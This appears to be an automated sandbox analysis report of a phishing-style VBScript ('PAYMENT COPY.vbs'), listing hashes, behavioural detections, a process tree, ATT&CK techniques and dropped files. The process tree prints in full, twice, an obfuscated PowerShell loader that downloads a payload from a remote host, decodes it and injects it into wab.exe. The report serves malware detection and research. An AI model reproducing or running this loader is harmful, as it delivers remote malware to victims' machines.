4c75128737d560310d3317cdaa74313de17c70e26f33d98e5496d1ab2ba9fefa

General

Target

PAYMENT COPY.vbs
Size

144KB
MD5

16a60e4a2df94d92602deafe8c7daf02
SHA1

3c917f686664098eeec790daca6d5670a0e7f9da
SHA256

4c75128737d560310d3317cdaa74313de17c70e26f33d98e5496d1ab2ba9fefa
SHA512

99bdf3945fbb0164102067f1f5c0376c53ae97cb8793ad8e21ec9874892cd1dcfd7ae2d9b91e0968ca7f26e42e53d691dff1a5b351df1909e0ace96bd22ec263
SSDEEP

3072:iPfUswQ6DNAESJ4gLPypBOkmGxtke+bfeK1sp5PlSLfVhxibKtj6Brh2E:iPfUswQ6DN/SJ4gLPyprDtke+bfxsp5N

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2368	WScript.exe
4	2716	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2708	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2628	powershell.exe
2708	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2628 set thread context of 2708	2628	powershell.exe	35

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2716	powershell.exe
2628	powershell.exe
2628	powershell.exe
2708	wab.exe
2708	wab.exe
2708	wab.exe
2708	wab.exe
2708	wab.exe
2708	wab.exe
2708	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2716	2368	WScript.exe	29
PID 2368 wrote to memory of 2716	2368	WScript.exe	29
PID 2368 wrote to memory of 2716	2368	WScript.exe	29
PID 2716 wrote to memory of 2876	2716	powershell.exe	31
PID 2716 wrote to memory of 2876	2716	powershell.exe	31
PID 2716 wrote to memory of 2876	2716	powershell.exe	31
PID 2716 wrote to memory of 2628	2716	powershell.exe	33
PID 2716 wrote to memory of 2628	2716	powershell.exe	33
PID 2716 wrote to memory of 2628	2716	powershell.exe	33
PID 2716 wrote to memory of 2628	2716	powershell.exe	33
PID 2628 wrote to memory of 3044	2628	powershell.exe	34
PID 2628 wrote to memory of 3044	2628	powershell.exe	34
PID 2628 wrote to memory of 3044	2628	powershell.exe	34
PID 2628 wrote to memory of 3044	2628	powershell.exe	34
PID 2628 wrote to memory of 2708	2628	powershell.exe	35
PID 2628 wrote to memory of 2708	2628	powershell.exe	35
PID 2628 wrote to memory of 2708	2628	powershell.exe	35
PID 2628 wrote to memory of 2708	2628	powershell.exe	35
PID 2628 wrote to memory of 2708	2628	powershell.exe	35
PID 2628 wrote to memory of 2708	2628	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Transitvarers Eructate Dalevende terpine Tunfiskesalatens Anskaffes Vocationalize Ejerinders Foredeep planlgningsbestemmelsen akutte Materialeprverne Rottefri Jarlen Recessing Doctrinate Centralafrikansk Tillidsmndenes Beldringes Merde Piktogrammets199 Fedekur Arrigt Festivalgoer149 Transitvarers Eructate Dalevende terpine Tunfiskesalatens Anskaffes Vocationalize Ejerinders Foredeep planlgningsbestemmelsen akutte Materialeprverne Rottefri Jarlen Recessing Doctrinate Centralafrikansk Tillidsmndenes Beldringes Merde Piktogrammets199 Fedekur Arrigt Festivalgoer149';If (${host}.CurrentCulture) {$Regnormes++;}Function Skfuldens($Hangdog){$Nonsufferance=$Hangdog.Length-$Regnormes;$Unequivocal='SUBsTR';$Unequivocal+='ing';For( $Fusionsdage=7;$Fusionsdage -lt $Nonsufferance;$Fusionsdage+=8){$Transitvarers+=$Hangdog.$Unequivocal.Invoke( $Fusionsdage, $Regnormes);}$Transitvarers;}function Troloves($Abdicate){ & ($Indstillingen) ($Abdicate);}$Americanoid=Skfuldens 'kalamiaM educiboElect.ozNondireiRespicelHawbucklVansireaModerse/ aadhu5Unhelve.Be,ling0Grumphi Bu,stop( UnderdWMelanchiEpistasn AizoondDesmodioava,labwBayong.sVrgels TotalfrNkammerjTBilra,i .esolv1Katedra0Sh,mpoo. Archi.0Vaeskef;ringord SubordWspidsfiifrsteudn Transf6Bevesse4Di munl;Stivbla K,ypterx Udenfo6Fissida4None um;Maidisc CariasmrP,rcelavUnconge:Rouxkol1Fleksiv2Kulesfi1Somnole.Hype.ka0Bygge,k)Massage K.kkesdGEksekveeInddragc Analysk Refignobundkot/Seigni 2Tolrero0.lagpri1Stablem0 Glut o0 othole1Haletsk0Splende1Lyd gan MusculoFygrainsiAnimg rrPolymeteMorassofhorsewao Homeo.xTygning/Sheep.e1Sprogfr2 U,cont1clitori.Auriphr0Troysky ';$Padcloth=Skfuldens 'AluminoU CrazedsPilleare Nedskrr Synta,-GlucosiA NoncongAquaplaeMitti,unPreavowtMorskab ';$Tunfiskesalatens=Skfuldens 'Poet.rnhtilh,gnt.dspekutGaloppapBrugers:Car,ial/Synftig/outwatc1Stabels0Collocu3,eowedt.Flonell2 Aut.ot3Orl.ant7W umped. Strids8Doums.a6 Enevld.Diskval2Stueorg4fyrpass7 S,ythu/AflggelMDesig.ey FrantzxSpyttekoUbegrnsbMat,matalmarkedcAnstr.ntPathopheneogaear Fledefi omklasahaandgrcMonogyneKun,tudoMrkegrnuGnathobsUnderid.AgnosiasStabilinspirantpMistran ';$Swang=Skfuldens 'Revific>T.ansud ';$Indstillingen=Skfuldens 'FatidiciNonvioleMomentexAto for ';$Hesperideous='Ejerinders';$Narkotisere158 = Skfuldens 'databaseKnudepucSkaddleh ValgneoCulveri Vandkan%Spar,ngaDesignfpShirrifpSc.erzodResidenaEndostetHef,epla tel,gr%Skyf.it\Aninn,sFS,amerseBegejstm omgaa h,istinguFllesknnoriginadSprj,etrAttat he scrapldIndsbnieRod.oenkVarpendrEa letaoTbrudden A.etyleRygsvmnsDosi.eneTr fikpdSuperenlErosenseTaare,enSade,tasO erens. FavoriC rownlirKolesteoS.mbern Neighbo&Angrebs& asere C nverseAadselbcAands rhBrendesoShiraka Lacmoidt H drop ';Troloves (Skfuldens ' Outgui$Kahyts,gD rektolligaerno koddenbSubaxilaRigsdanl Ove,mu:BeluredS oninteBrutelyjBasarbylsturnelkAl,ksiolSrtrykkaThion,mr,nspndeeUndergr=Posekik(Le,estac Smalt mUnphospd Husen Apophyg/Formulac Module Tidshor$ Und,paNHersedea PrerearGyttja.k,onstatoTjrnekrtJuristeiantennesBassoone Bestror Tele.reM kerre1Fossule5 Semirh8Bebutto) Konsek ');Troloves (Skfuldens 'Pseudoa$Fr,kertgridde slUddistao SkrubbbInds jlaSuggestlB,tidel:night,otDeci.alePreciourEftersppAftal.tiStut ernlaterifeS,oving=Outta e$AntiskiT Grawlsu AugmennHortonofMonark.ibivaanesFlavor,kCommandeCulicess verrayaPapirs lInguinoaUndervotWoodcarePrayerfn Javet.s andba. MonocesButtockpDelundul Barmh iNocuoust Comput(Sudsier$HindwarSUndervaw ,xeunta Pangennflabellg Rich t)Avindsm ');Troloves (Skfuldens 'Horsele[Semicr,N nderoeArmbrsttUdsigts.RemrkniSReviolaeChewinkrGaasenfvAloadaei ,urasic S illieMutilatPGyrediso DdsstiiPrimrkonS,nilkotAutobasMTectibraAmpel,gn Ho sehaNons.aigBirthraeTrojanerInd ali]Pav,our:Mismeas:HostiliS FdendeeSl veboc retracuBagg unrAfgiftsiSkylarkt rystayLeveesmP Kin.sirviceregoF aglintsweetweo PeshkacAdvokatoLatrantlPendant Tatusii=Fart,rn Willich[NonintrNAn,euseeSk leretSpiller.MindsteS Nonfluecra.tsmc TordenuOsmorhirBevingei RefragtSilverly SemicaPH,roiserOs.entaoGishtugtPa.siaroLearne.c Komproo,anmanflForloreTRe ipeuyUdpar,ep DatadieSvkli,g] Stnder:Prosers:HalsstaT IntraslTragules atator1Unperce2,ontrai ');$Tunfiskesalatens=$terpine[0];$Svartypens= (Skfuldens 'Gigging$BankrengU.laanslTrucebroHostilebFartbdeasud.leolSkabels: annektGau orisaUnprocruKbesumss ialektsPachycafSlagsm uJ lellen dolorekLori.attInstr.ciTinterno Commern Mismode pi,agtrAlkalim=VelsesmNCa,arrhePensio,wPoseki.- NondepODeh.drobUnmowedjTypothee,rendincSem,mont algebr DokumeSStut,eryTopfigusSkues,itA finiteParthenm brandb.C mpingNC msympeSnubbe.t Tadpo.. Di.penWScreenieO.omatobIhukommC Upa,selF enulai T.skeee aastrinTel grat');$Svartypens+=$Sejlklare[1];Troloves ($Svartypens);Troloves (Skfuldens 'Harelda$ S runtGGlucosoaanordn,u Sammensfraflytssk,lterfge.nemfu Kr,mann conneckMetaliztUdskylli Pulchro anamon Stala eUdlaa,erStaffen. GuinfoHMah,rane DandyiaB.oansgdplant,neGelatinrDiatropsPaahngs[Squoosh$CrackerPAfkogniaHandlekdForhrdecstairedlGla.puso Wro.gltIndustrhBy andm]Luke,ar=Insemin$ SletteAInterwrm Middl eVold,gtrUnsuppoi SpeedecVaerkeraCounternAutoallo aceabsiAfspadsd Pro or ');$Chirt=Skfuldens ' Transi$ liftenGAssonanaZamiasou Nonp osresavetsUndiagrfScarc,ruAmuba ln.esttelkFirmaadt rib.leiAuxosuboRo,orklnKokonsle trvegrr ,tride.Dds ommDdat,blaoRg.nmenw Bloodsn L ewaylStikforoHimati,aTiddlywdKolachdFSyre.riidisposel Nonrate Prosta( Lamper$TriskaiTPlejereuIngelasnB vuakefTilsammiAfgift sSprogfokbe,glane Fe tlisTachestaphytokil,gentroaPro.otyt Si oomePectasen Autobis Maried, Skrald$DrejeskFOv,rinteReskndedLibyeree Wad.blkAbstineu ,hishurblotlgg)Abo nin ';$Fedekur=$Sejlklare[0];Troloves (Skfuldens 'Fritst.$RakkedegSousa,olArtamusoRuralisb,arhusia,chelmulFoile o: HolochTPimientr,uriditoCykelspm stegeplunbriefeDigon lgLacrimaaparach,nWhangedgPanmix.eFurrow,nKbmands=Udbygge(PostfurTReexecue FluosisLn,stolt Emball-,nglistPFlamberaThistedt SmrfedhOkker.e Bu.ikst$ KulturFpladredeSubjun dTavlekleU tramikCantateuStandrerTumblpa) Rafleb ');while (!$Tromlegangen) {Troloves (Skfuldens ',otages$Ve.alnogLossendlBil igroHominalbInse tsaTrnendelDich to:TyggeflGKlgtensr ensuraaIfaldneb .pdigtbFoilvaeeSyldstedBraknse=Stylogr$ Da,sest PropelrVandaliuMilieubeUngr,ph ') ;Troloves $Chirt;Troloves (Skfuldens 'SpringhSSkillertProtraca .opperrVisnetutDryness- ganersS ChisellBotchere Iti.ereKommunepBlasto. Hindbae4Vivide. ');Troloves (Skfuldens 'Nstvede$Over.rigKirkegalForenedo orudsbWhimmedaByde,solBr,desk:s.ttvicTF rpligrSulfateo Slitlim UnsugglV gilfreCau,erigUnthankaWhatzitnSopransgJulepyneFli egunP enoba=Pansoph(Fr valgTRikocheeRegnbuesCe.halit Affect-ThaddeuPSulp ovaSlo akstMinkfarhNonimpe Beer.re$FlerhedFLookerse In,vird SpirileInds tekOpstilluoplsninr Diaper)Ramisu, ') ;Troloves (Skfuldens 'Undevia$Dem.nseg agblal SoldagoUdbre.ebOptrvliaNoretsflPuschki: PlanslD Gul.duaHas.ighlKaviarseProfittvRenringeChemicknPalaeogdFornjeleGipsywe=Su.dhed$MelanosgArroundl Reci koPar,asubPhilo.raUnderstl Stereo: I,stitEB,epindrPro,ereuAscendic CallidtS,litrpa Datab,tskarnsueTyksakk+ Bankan+B,guios%Uru ded$Oversi.tJ ckbsneChemothrKoldkrepParo eni Pabblen Li.ieseBekende.s ersklcDiftongoGldelamuSemiharnFredsbetGavtyve ') ;$Tunfiskesalatens=$terpine[$Dalevende];}$Skaalpundenes=347012;$Badningerne=29783;Troloves (Skfuldens 'Varlige$Bu undig AffeerlGeonegaogennemkb Amino,aMechanol Dumpis:Pers naFHekteusoMohouidrYoweanteHechtiadRenseane HfterneGervasepSvartba T,nomyo=Troldes Jim.inyG Hekseke Forl etigno.an-UnreverCDornickoWiggingnUndseelt Teks,meSt.ernenAutointtForma,i ermat$Hy,ergaFGennembe,rolectdCrocodie,orvaltkBlyantvuNancessr Bed,ev ');Troloves (Skfuldens 'Abetted$PilendegAntiracl ContagoTransvebUros.yla Over olXenopte:sforzanF Kon.ura afsaetnMetallwtSubaud aPolyh.dsParitetiCenterelGastermsLi iereeRkenvansGlatsl. Pre.se=Opsumme Preconq[GnideboSCount ry RuctatsAndelsstCiliu.seFol,eremElectro.SkudderC avocadoE.pinosnHalvsskvHomestreBetragtrMeguilptUgentli]S.nesnn:Dk,tole:.kefjolFNucle,prVarpunioEpis enm,arvegtBUnaxisea Generas SocialeFrsning6eksempl4 WaleskSDoubl,ttHyperpartirsd,giDiktatonImbeselg Penici( Hypere$AnbefalFSkudlinoMikroorrJasigereDressmnd C mproePhosphie.agnifip,illbss)Afprvni ');Troloves (Skfuldens ' Smudgi$Sexesmag ,dgivel AnilinoMast.rwbPercolaaincoordl Philog:DensimeM forjudaMinusset DatasieShoepacrModnendiT,sindvaRandenkl BrsdageFulcratpbarbettrSom topvFactisheSnegl.trkferte,nSyvaarseNaiman Downsid=Indiesr Bill,on[lsmagenS Tandhvy Lovrevs Servi,tCodesi ehonduramDatakom.Skirwo,TSofttaceRahdarixTur ojetGenesic.Gia.tlyEAfstoebn Curta,cOvervaaoEgefadadKonkurriS nsibinwaveba gKnaldh,]Arkival:Sepalin: MarshbA ozzansS V gtpaCastonisI LystriIBas,end.FavnerhGAmtsskaeTegnfejt Auksi ST barkvtInvesterDagkla.iAlodialnquetschgCircumf( .nskyd$GldebioFSlipstiaudsaltnnforbrdrt,iktafoaakti.ersInterari .fterbl PjattesMrkateneRaticidsMilligr)Talstrk ');Troloves (Skfuldens 'Biono,y$Stabelpg UncololOpf,ndeoScirrhubPensionaTykt,rml Hornbo:Kri,ikkBtyk,armkInca.eskTranspoe Facaden.ustledbFurfuryuKevilsan B drved OverkosReatarevOveralleCraiemolMat.ilisCentr leTaktstonStrigae=Horizon$BrnefamM f.abcraPr,caritBicyline Bo,desrProhi.iiCiliussaSub rbslSulphameAn.lopopS,itsebrRvhullev HistoreNovati r ForbrunMedicale Vej re.Tredj isRecrudeu Djvel,b Photo sTal trktRevyenfrSkocr,miSurmlksn ,ilsengTylosty(Buffers$PraegesSTrvle,skPech.ovakle peraSundsarl,onglacpspirituuPolymetn Vagterd Countee onmodenSpiri ueStenotysCarrawa,Kapring$RrdamsnBKommentaFo.dybndOkte,tenDannekviciv.liznIndklaggGldminiefossetlrC,lorognWoolsaweLeukoti)Dyssodi ');Troloves $Bkkenbundsvelsen;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Femhundredekronesedlens.Cro && echo t"
    3⤵
    PID:2876
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Transitvarers Eructate Dalevende terpine Tunfiskesalatens Anskaffes Vocationalize Ejerinders Foredeep planlgningsbestemmelsen akutte Materialeprverne Rottefri Jarlen Recessing Doctrinate Centralafrikansk Tillidsmndenes Beldringes Merde Piktogrammets199 Fedekur Arrigt Festivalgoer149 Transitvarers Eructate Dalevende terpine Tunfiskesalatens Anskaffes Vocationalize Ejerinders Foredeep planlgningsbestemmelsen akutte Materialeprverne Rottefri Jarlen Recessing Doctrinate Centralafrikansk Tillidsmndenes Beldringes Merde Piktogrammets199 Fedekur Arrigt Festivalgoer149';If (${host}.CurrentCulture) {$Regnormes++;}Function Skfuldens($Hangdog){$Nonsufferance=$Hangdog.Length-$Regnormes;$Unequivocal='SUBsTR';$Unequivocal+='ing';For( $Fusionsdage=7;$Fusionsdage -lt $Nonsufferance;$Fusionsdage+=8){$Transitvarers+=$Hangdog.$Unequivocal.Invoke( $Fusionsdage, $Regnormes);}$Transitvarers;}function Troloves($Abdicate){ & ($Indstillingen) ($Abdicate);}$Americanoid=Skfuldens 'kalamiaM educiboElect.ozNondireiRespicelHawbucklVansireaModerse/ aadhu5Unhelve.Be,ling0Grumphi Bu,stop( UnderdWMelanchiEpistasn AizoondDesmodioava,labwBayong.sVrgels TotalfrNkammerjTBilra,i .esolv1Katedra0Sh,mpoo. Archi.0Vaeskef;ringord SubordWspidsfiifrsteudn Transf6Bevesse4Di munl;Stivbla K,ypterx Udenfo6Fissida4None um;Maidisc CariasmrP,rcelavUnconge:Rouxkol1Fleksiv2Kulesfi1Somnole.Hype.ka0Bygge,k)Massage K.kkesdGEksekveeInddragc Analysk Refignobundkot/Seigni 2Tolrero0.lagpri1Stablem0 Glut o0 othole1Haletsk0Splende1Lyd gan MusculoFygrainsiAnimg rrPolymeteMorassofhorsewao Homeo.xTygning/Sheep.e1Sprogfr2 U,cont1clitori.Auriphr0Troysky ';$Padcloth=Skfuldens 'AluminoU CrazedsPilleare Nedskrr Synta,-GlucosiA NoncongAquaplaeMitti,unPreavowtMorskab ';$Tunfiskesalatens=Skfuldens 'Poet.rnhtilh,gnt.dspekutGaloppapBrugers:Car,ial/Synftig/outwatc1Stabels0Collocu3,eowedt.Flonell2 Aut.ot3Orl.ant7W umped. Strids8Doums.a6 Enevld.Diskval2Stueorg4fyrpass7 S,ythu/AflggelMDesig.ey FrantzxSpyttekoUbegrnsbMat,matalmarkedcAnstr.ntPathopheneogaear Fledefi omklasahaandgrcMonogyneKun,tudoMrkegrnuGnathobsUnderid.AgnosiasStabilinspirantpMistran ';$Swang=Skfuldens 'Revific>T.ansud ';$Indstillingen=Skfuldens 'FatidiciNonvioleMomentexAto for ';$Hesperideous='Ejerinders';$Narkotisere158 = Skfuldens 'databaseKnudepucSkaddleh ValgneoCulveri Vandkan%Spar,ngaDesignfpShirrifpSc.erzodResidenaEndostetHef,epla tel,gr%Skyf.it\Aninn,sFS,amerseBegejstm omgaa h,istinguFllesknnoriginadSprj,etrAttat he scrapldIndsbnieRod.oenkVarpendrEa letaoTbrudden A.etyleRygsvmnsDosi.eneTr fikpdSuperenlErosenseTaare,enSade,tasO erens. FavoriC rownlirKolesteoS.mbern Neighbo&Angrebs& asere C nverseAadselbcAands rhBrendesoShiraka Lacmoidt H drop ';Troloves (Skfuldens ' Outgui$Kahyts,gD rektolligaerno koddenbSubaxilaRigsdanl Ove,mu:BeluredS oninteBrutelyjBasarbylsturnelkAl,ksiolSrtrykkaThion,mr,nspndeeUndergr=Posekik(Le,estac Smalt mUnphospd Husen Apophyg/Formulac Module Tidshor$ Und,paNHersedea PrerearGyttja.k,onstatoTjrnekrtJuristeiantennesBassoone Bestror Tele.reM kerre1Fossule5 Semirh8Bebutto) Konsek ');Troloves (Skfuldens 'Pseudoa$Fr,kertgridde slUddistao SkrubbbInds jlaSuggestlB,tidel:night,otDeci.alePreciourEftersppAftal.tiStut ernlaterifeS,oving=Outta e$AntiskiT Grawlsu AugmennHortonofMonark.ibivaanesFlavor,kCommandeCulicess verrayaPapirs lInguinoaUndervotWoodcarePrayerfn Javet.s andba. MonocesButtockpDelundul Barmh iNocuoust Comput(Sudsier$HindwarSUndervaw ,xeunta Pangennflabellg Rich t)Avindsm ');Troloves (Skfuldens 'Horsele[Semicr,N nderoeArmbrsttUdsigts.RemrkniSReviolaeChewinkrGaasenfvAloadaei ,urasic S illieMutilatPGyrediso DdsstiiPrimrkonS,nilkotAutobasMTectibraAmpel,gn Ho sehaNons.aigBirthraeTrojanerInd ali]Pav,our:Mismeas:HostiliS FdendeeSl veboc retracuBagg unrAfgiftsiSkylarkt rystayLeveesmP Kin.sirviceregoF aglintsweetweo PeshkacAdvokatoLatrantlPendant Tatusii=Fart,rn Willich[NonintrNAn,euseeSk leretSpiller.MindsteS Nonfluecra.tsmc TordenuOsmorhirBevingei RefragtSilverly SemicaPH,roiserOs.entaoGishtugtPa.siaroLearne.c Komproo,anmanflForloreTRe ipeuyUdpar,ep DatadieSvkli,g] Stnder:Prosers:HalsstaT IntraslTragules atator1Unperce2,ontrai ');$Tunfiskesalatens=$terpine[0];$Svartypens= (Skfuldens 'Gigging$BankrengU.laanslTrucebroHostilebFartbdeasud.leolSkabels: annektGau orisaUnprocruKbesumss ialektsPachycafSlagsm uJ lellen dolorekLori.attInstr.ciTinterno Commern Mismode pi,agtrAlkalim=VelsesmNCa,arrhePensio,wPoseki.- NondepODeh.drobUnmowedjTypothee,rendincSem,mont algebr DokumeSStut,eryTopfigusSkues,itA finiteParthenm brandb.C mpingNC msympeSnubbe.t Tadpo.. Di.penWScreenieO.omatobIhukommC Upa,selF enulai T.skeee aastrinTel grat');$Svartypens+=$Sejlklare[1];Troloves ($Svartypens);Troloves (Skfuldens 'Harelda$ S runtGGlucosoaanordn,u Sammensfraflytssk,lterfge.nemfu Kr,mann conneckMetaliztUdskylli Pulchro anamon Stala eUdlaa,erStaffen. GuinfoHMah,rane DandyiaB.oansgdplant,neGelatinrDiatropsPaahngs[Squoosh$CrackerPAfkogniaHandlekdForhrdecstairedlGla.puso Wro.gltIndustrhBy andm]Luke,ar=Insemin$ SletteAInterwrm Middl eVold,gtrUnsuppoi SpeedecVaerkeraCounternAutoallo aceabsiAfspadsd Pro or ');$Chirt=Skfuldens ' Transi$ liftenGAssonanaZamiasou Nonp osresavetsUndiagrfScarc,ruAmuba ln.esttelkFirmaadt rib.leiAuxosuboRo,orklnKokonsle trvegrr ,tride.Dds ommDdat,blaoRg.nmenw Bloodsn L ewaylStikforoHimati,aTiddlywdKolachdFSyre.riidisposel Nonrate Prosta( Lamper$TriskaiTPlejereuIngelasnB vuakefTilsammiAfgift sSprogfokbe,glane Fe tlisTachestaphytokil,gentroaPro.otyt Si oomePectasen Autobis Maried, Skrald$DrejeskFOv,rinteReskndedLibyeree Wad.blkAbstineu ,hishurblotlgg)Abo nin ';$Fedekur=$Sejlklare[0];Troloves (Skfuldens 'Fritst.$RakkedegSousa,olArtamusoRuralisb,arhusia,chelmulFoile o: HolochTPimientr,uriditoCykelspm stegeplunbriefeDigon lgLacrimaaparach,nWhangedgPanmix.eFurrow,nKbmands=Udbygge(PostfurTReexecue FluosisLn,stolt Emball-,nglistPFlamberaThistedt SmrfedhOkker.e Bu.ikst$ KulturFpladredeSubjun dTavlekleU tramikCantateuStandrerTumblpa) Rafleb ');while (!$Tromlegangen) {Troloves (Skfuldens ',otages$Ve.alnogLossendlBil igroHominalbInse tsaTrnendelDich to:TyggeflGKlgtensr ensuraaIfaldneb .pdigtbFoilvaeeSyldstedBraknse=Stylogr$ Da,sest PropelrVandaliuMilieubeUngr,ph ') ;Troloves $Chirt;Troloves (Skfuldens 'SpringhSSkillertProtraca .opperrVisnetutDryness- ganersS ChisellBotchere Iti.ereKommunepBlasto. Hindbae4Vivide. ');Troloves (Skfuldens 'Nstvede$Over.rigKirkegalForenedo orudsbWhimmedaByde,solBr,desk:s.ttvicTF rpligrSulfateo Slitlim UnsugglV gilfreCau,erigUnthankaWhatzitnSopransgJulepyneFli egunP enoba=Pansoph(Fr valgTRikocheeRegnbuesCe.halit Affect-ThaddeuPSulp ovaSlo akstMinkfarhNonimpe Beer.re$FlerhedFLookerse In,vird SpirileInds tekOpstilluoplsninr Diaper)Ramisu, ') ;Troloves (Skfuldens 'Undevia$Dem.nseg agblal SoldagoUdbre.ebOptrvliaNoretsflPuschki: PlanslD Gul.duaHas.ighlKaviarseProfittvRenringeChemicknPalaeogdFornjeleGipsywe=Su.dhed$MelanosgArroundl Reci koPar,asubPhilo.raUnderstl Stereo: I,stitEB,epindrPro,ereuAscendic CallidtS,litrpa Datab,tskarnsueTyksakk+ Bankan+B,guios%Uru ded$Oversi.tJ ckbsneChemothrKoldkrepParo eni Pabblen Li.ieseBekende.s ersklcDiftongoGldelamuSemiharnFredsbetGavtyve ') ;$Tunfiskesalatens=$terpine[$Dalevende];}$Skaalpundenes=347012;$Badningerne=29783;Troloves (Skfuldens 'Varlige$Bu undig AffeerlGeonegaogennemkb Amino,aMechanol Dumpis:Pers naFHekteusoMohouidrYoweanteHechtiadRenseane HfterneGervasepSvartba T,nomyo=Troldes Jim.inyG Hekseke Forl etigno.an-UnreverCDornickoWiggingnUndseelt Teks,meSt.ernenAutointtForma,i ermat$Hy,ergaFGennembe,rolectdCrocodie,orvaltkBlyantvuNancessr Bed,ev ');Troloves (Skfuldens 'Abetted$PilendegAntiracl ContagoTransvebUros.yla Over olXenopte:sforzanF Kon.ura afsaetnMetallwtSubaud aPolyh.dsParitetiCenterelGastermsLi iereeRkenvansGlatsl. Pre.se=Opsumme Preconq[GnideboSCount ry RuctatsAndelsstCiliu.seFol,eremElectro.SkudderC avocadoE.pinosnHalvsskvHomestreBetragtrMeguilptUgentli]S.nesnn:Dk,tole:.kefjolFNucle,prVarpunioEpis enm,arvegtBUnaxisea Generas SocialeFrsning6eksempl4 WaleskSDoubl,ttHyperpartirsd,giDiktatonImbeselg Penici( Hypere$AnbefalFSkudlinoMikroorrJasigereDressmnd C mproePhosphie.agnifip,illbss)Afprvni ');Troloves (Skfuldens ' Smudgi$Sexesmag ,dgivel AnilinoMast.rwbPercolaaincoordl Philog:DensimeM forjudaMinusset DatasieShoepacrModnendiT,sindvaRandenkl BrsdageFulcratpbarbettrSom topvFactisheSnegl.trkferte,nSyvaarseNaiman Downsid=Indiesr Bill,on[lsmagenS Tandhvy Lovrevs Servi,tCodesi ehonduramDatakom.Skirwo,TSofttaceRahdarixTur ojetGenesic.Gia.tlyEAfstoebn Curta,cOvervaaoEgefadadKonkurriS nsibinwaveba gKnaldh,]Arkival:Sepalin: MarshbA ozzansS V gtpaCastonisI LystriIBas,end.FavnerhGAmtsskaeTegnfejt Auksi ST barkvtInvesterDagkla.iAlodialnquetschgCircumf( .nskyd$GldebioFSlipstiaudsaltnnforbrdrt,iktafoaakti.ersInterari .fterbl PjattesMrkateneRaticidsMilligr)Talstrk ');Troloves (Skfuldens 'Biono,y$Stabelpg UncololOpf,ndeoScirrhubPensionaTykt,rml Hornbo:Kri,ikkBtyk,armkInca.eskTranspoe Facaden.ustledbFurfuryuKevilsan B drved OverkosReatarevOveralleCraiemolMat.ilisCentr leTaktstonStrigae=Horizon$BrnefamM f.abcraPr,caritBicyline Bo,desrProhi.iiCiliussaSub rbslSulphameAn.lopopS,itsebrRvhullev HistoreNovati r ForbrunMedicale Vej re.Tredj isRecrudeu Djvel,b Photo sTal trktRevyenfrSkocr,miSurmlksn ,ilsengTylosty(Buffers$PraegesSTrvle,skPech.ovakle peraSundsarl,onglacpspirituuPolymetn Vagterd Countee onmodenSpiri ueStenotysCarrawa,Kapring$RrdamsnBKommentaFo.dybndOkte,tenDannekviciv.liznIndklaggGldminiefossetlrC,lorognWoolsaweLeukoti)Dyssodi ');Troloves $Bkkenbundsvelsen;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Femhundredekronesedlens.Cro && echo t"
      4⤵
      PID:3044
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab429E.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Roaming\Femhundredekronesedlens.Cro

Filesize
490KB

MD5
2572a6ab282673322cf94dad844f1635

SHA1
368541f30fcd222d7ac87455ef28890bc5c27bb3

SHA256
1ed1c3eec58023dc35d679f9917f423c1d096a920739e7ad36c80a188b84a866

SHA512
5a5d57cbf36c8243c7bc0f8239a2280c81e1f5be04d28b9554ab7e8e7d605e9d3908235ac8b12d85f3cceae1ee992b8b65da0981cc60617485c25a536dff192b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7ESCN315I0RZOJGXQ9Y.temp

Filesize
7KB

MD5
33b316fd3d38e8748e24978eba265ee7

SHA1
671daf396746f532242e2f8f9ed458fd9475a968

SHA256
